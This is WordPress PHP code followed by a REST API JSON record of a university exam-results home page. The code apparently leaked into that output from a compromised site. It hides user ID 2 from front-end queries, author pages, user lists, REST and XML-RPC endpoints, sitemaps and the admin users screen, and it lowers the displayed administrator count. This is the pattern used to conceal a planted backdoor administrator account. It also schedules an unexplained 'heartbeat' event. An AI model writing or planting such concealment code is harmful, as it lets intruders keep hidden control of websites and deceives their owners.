add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":25,"date":"2025-06-22T22:06:32","date_gmt":"2025-06-22T22:06:32","guid":{"rendered":"https:\/\/tiemdelhi.com\/singhaniauniversity\/?page_id=25"},"modified":"2026-06-29T17:08:04","modified_gmt":"2026-06-29T17:08:04","slug":"home","status":"publish","type":"page","link":"https:\/\/tiemdelhi.com\/singhaniauniversity\/","title":{"rendered":"Home"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"25\" class=\"elementor elementor-25\">\n\t\t\t\t<div class=\"elementor-element elementor-element-eafa043 e-flex e-con-boxed e-con e-parent\" data-id=\"eafa043\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-e292a74 elementor-widget elementor-widget-shortcode\" data-id=\"e292a74\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\"><div id=\"educareResults\"><div id=\"educare-loading\"><div class=\"educare-spinner\"><\/div><\/div>\t\t<div class=\"result_body\">\n\t\t\t<div class=\"results-container\">\n\t\t\t\t<form class=\"educare-form box content bg-light educare-search-form\" method=\"post\" id=\"educareForm\"><div class=\"row\"><div class=\"col-25\"><label for=\"Roll_No\">Roll No<\/label><\/div><div class=\"col-75\"><input type=\"text\" id=\"Roll_No\" name=\"Roll_No\" value=\"\" placeholder=\"Roll No\"><\/div><\/div><div class=\"row\"><div class=\"col-25\"><label for=\"Class\">Class<\/label><\/div><div class=\"col-75\"><select id=\"Class\" name=\"Class\"><option value=\"5th Semester\" >5th Semester<\/option><option value=\"6th Semester\" >6th Semester<\/option><\/select><\/div><\/div><div class=\"row\"><div class=\"col-25\"><label for=\"Exam\">Exam<\/label><\/div><div class=\"col-75\"><select id=\"Exam\" name=\"Exam\"><option value=\"Master in Business Administration (MBA)\" >Master in Business Administration (MBA)<\/option><option value=\"Bachelor of Business Administration (Event Management)\" >Bachelor of Business Administration (Event Management)<\/option><option value=\"Bachelor of Business Administration (Aviation &amp; Hospitality Management)\" >Bachelor of Business Administration (Aviation &amp; Hospitality Management)<\/option><option value=\"Diploma in Event Management\" >Diploma in Event Management<\/option><option value=\"PG Diploma (Event Management)\" >PG Diploma (Event Management)<\/option><\/select><\/div><\/div><div class=\"row\"><div class=\"col-25\"><label for=\"Year\">Year<\/label><\/div><div class=\"col-75\"><select id=\"Year\" name=\"Year\"><option value=\"2025\" >2025<\/option><option value=\"2024\" >2024<\/option><option value=\"2023\" >2023<\/option><\/select><\/div><\/div><input type=\"hidden\" name=\"educare_results\"><div class=\"row\">\n\t\t\t\t\t\t<div class=\"col-25\"><\/div>\n\t\t\t\t\t\t<div class=\"col-75\"><button id=\"educare_results\" class=\"btn btn-primary results_button button\" name=\"educare_results\" type=\"submit\">View Results<\/button><\/div>\n\t\t\t\t\t<\/div><\/form><\/div><\/div><\/div><\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>https:\/\/fdfd.com\/<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_header_footer","meta":{"footnotes":""},"class_list":["post-25","page","type-page","status-publish"],"_links":{"self":[{"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/pages\/25","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/comments?post=25"}],"version-history":[{"count":11,"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/pages\/25\/revisions"}],"predecessor-version":[{"id":153,"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/pages\/25\/revisions\/153"}],"wp:attachment":[{"href":"https:\/\/tiemdelhi.com\/singhaniauniversity\/wp-json\/wp\/v2\/media?parent=25"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}